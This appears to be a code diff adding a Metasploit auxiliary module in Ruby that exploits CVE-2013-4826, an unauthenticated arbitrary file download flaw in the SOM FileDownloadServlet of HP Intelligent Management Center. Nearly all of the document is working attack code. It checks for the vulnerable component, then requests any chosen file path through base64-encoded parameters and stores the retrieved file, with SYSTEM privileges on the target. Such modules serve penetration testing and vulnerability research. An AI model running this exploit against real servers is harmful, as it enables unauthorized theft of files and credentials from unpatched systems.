|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'HP Intelligent Management SOM FileDownloadServlet Arbitrary Download', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a lack of authentication and access control in HP Intelligent |
| 19 | + Management, specifically in the FileDownloadServlet from the SOM component, in order to |
| 20 | + retrieve arbitrary files with SYSTEM privileges. This module has been tested successfully |
| 21 | + on HP Intelligent Management Center 5.2_E0401 with SOM 5.2 E0401 over Windows 2003 SP2. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery |
| 27 | + 'juan vazquez' # Metasploit module |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'CVE', '2013-4826' ], |
| 32 | + [ 'OSVDB', '98251' ], |
| 33 | + [ 'BID', '62898' ], |
| 34 | + [ 'ZDI', '13-242' ] |
| 35 | + ] |
| 36 | + )) |
| 37 | + |
| 38 | + register_options( |
| 39 | + [ |
| 40 | + Opt::RPORT(8080), |
| 41 | + OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), |
| 42 | + OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\boot.ini']) |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + def is_imc_som? |
| 47 | + res = send_request_cgi({ |
| 48 | + 'uri' => normalize_uri("servicedesk", "ServiceDesk.jsp"), |
| 49 | + 'method' => 'GET' |
| 50 | + }) |
| 51 | + |
| 52 | + if res and res.code == 200 and res.body =~ /servicedesk\/servicedesk/i |
| 53 | + return true |
| 54 | + else |
| 55 | + return false |
| 56 | + end |
| 57 | + end |
| 58 | + |
| 59 | + def my_basename(filename) |
| 60 | + return ::File.basename(filename.gsub(/\\/, "/")) |
| 61 | + end |
| 62 | + |
| 63 | + def run_host(ip) |
| 64 | + |
| 65 | + unless is_imc_som? |
| 66 | + vprint_error("#{peer} - HP iMC with the SOM component not found") |
| 67 | + return |
| 68 | + end |
| 69 | + |
| 70 | + vprint_status("#{peer} - Sending request...") |
| 71 | + res = send_request_cgi({ |
| 72 | + 'uri' => normalize_uri("servicedesk", "servicedesk", "fileDownload"), |
| 73 | + 'method' => 'GET', |
| 74 | + 'vars_get' => |
| 75 | + { |
| 76 | + 'OperType' => '2', |
| 77 | + 'fileName' => Rex::Text.encode_base64(my_basename(datastore['FILEPATH'])), |
| 78 | + 'filePath' => Rex::Text.encode_base64(datastore['FILEPATH']) |
| 79 | + } |
| 80 | + }) |
| 81 | + |
| 82 | + if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] =~ /application\/doc/ |
| 83 | + contents = res.body |
| 84 | + fname = my_basename(datastore['FILEPATH']) |
| 85 | + path = store_loot( |
| 86 | + 'hp.imc.somfiledownloadservlet', |
| 87 | + 'application/octet-stream', |
| 88 | + ip, |
| 89 | + contents, |
| 90 | + fname |
| 91 | + ) |
| 92 | + print_good("#{peer} - File saved in: #{path}") |
| 93 | + else |
| 94 | + vprint_error("#{peer} - Failed to retrieve file") |
| 95 | + return |
| 96 | + end |
| 97 | + end |
| 98 | +end |
0 commit comments